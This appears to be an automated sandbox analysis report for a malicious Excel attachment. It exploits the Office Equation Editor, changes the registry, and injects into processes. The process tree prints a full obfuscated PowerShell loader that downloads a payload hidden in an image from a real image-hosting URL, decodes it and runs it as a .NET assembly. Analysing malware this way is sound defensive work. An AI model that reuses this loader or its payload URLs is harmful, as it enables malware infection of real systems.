Analysis
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max time kernel
13s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
02/10/2023, 15:28
Static task
static1
Behavioral task
behavioral1
Sample
Ord.For.NGF2301820.xls
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Ord.For.NGF2301820.xls
Resource
win10v2004-20230915-en
General
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Target
Ord.For.NGF2301820.xls
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Size
146KB
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MD5
3c80a3404a12b03596de173b7c2395d8
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SHA1
0f2747a0d918456486c729f6f47f41b1523c7ff0
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SHA256
c36edbf6ff6981ab06c2bebafef7340da2c28565751b4e1e6bedb4cd02f992b4
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SHA512
94e9da4e191f0282046cd7430b4588534fc0006288f0ba1dbcafb2dae6058d79c95987d8b303daa9c07b487d01329b7e9202b3502bf0e399857bbe67fa8389b9
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SSDEEP
3072:F/kJAg15QiSCz0Huru1bsNTL3SupLsld9kgYUWo:F/unQKAOHFpLKdJ
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 10 1620 EQNEDT32.EXE 12 1620 EQNEDT32.EXE 14 1620 EQNEDT32.EXE 15 1620 EQNEDT32.EXE -
Abuses OpenXML format to download file from external location
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 1620 EQNEDT32.EXE -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2972 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2972 EXCEL.EXE 2972 EXCEL.EXE 2972 EXCEL.EXE 2756 WINWORD.EXE 2756 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1620 wrote to memory of 1748 1620 EQNEDT32.EXE 31 PID 1620 wrote to memory of 1748 1620 EQNEDT32.EXE 31 PID 1620 wrote to memory of 1748 1620 EQNEDT32.EXE 31 PID 1620 wrote to memory of 1748 1620 EQNEDT32.EXE 31
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Ord.For.NGF2301820.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2972
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2756 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1476
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C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Processer.vbs"2⤵PID:1748
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Regasm.vbs -Force }3⤵PID:2064
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBU◀▶EQ◀▶UwBV◀▶C8◀▶dwB6◀▶C8◀▶dwB3◀▶Hc◀▶eg◀▶v◀▶DM◀▶Mg◀▶u◀▶DY◀▶MQ◀▶u◀▶DI◀▶O◀▶◀▶x◀▶C4◀▶Mw◀▶w◀▶DE◀▶Lw◀▶v◀▶Do◀▶c◀▶B0◀▶HQ◀▶a◀▶◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶DI◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶FI◀▶ZQBn◀▶GE◀▶cwBt◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶Jw◀▶z◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBD◀▶Do◀▶X◀▶BX◀▶Gk◀▶bgBk◀▶G8◀▶dwBz◀▶Fw◀▶V◀▶Bl◀▶G0◀▶c◀▶Bc◀▶Cc◀▶L◀▶◀▶g◀▶Cc◀▶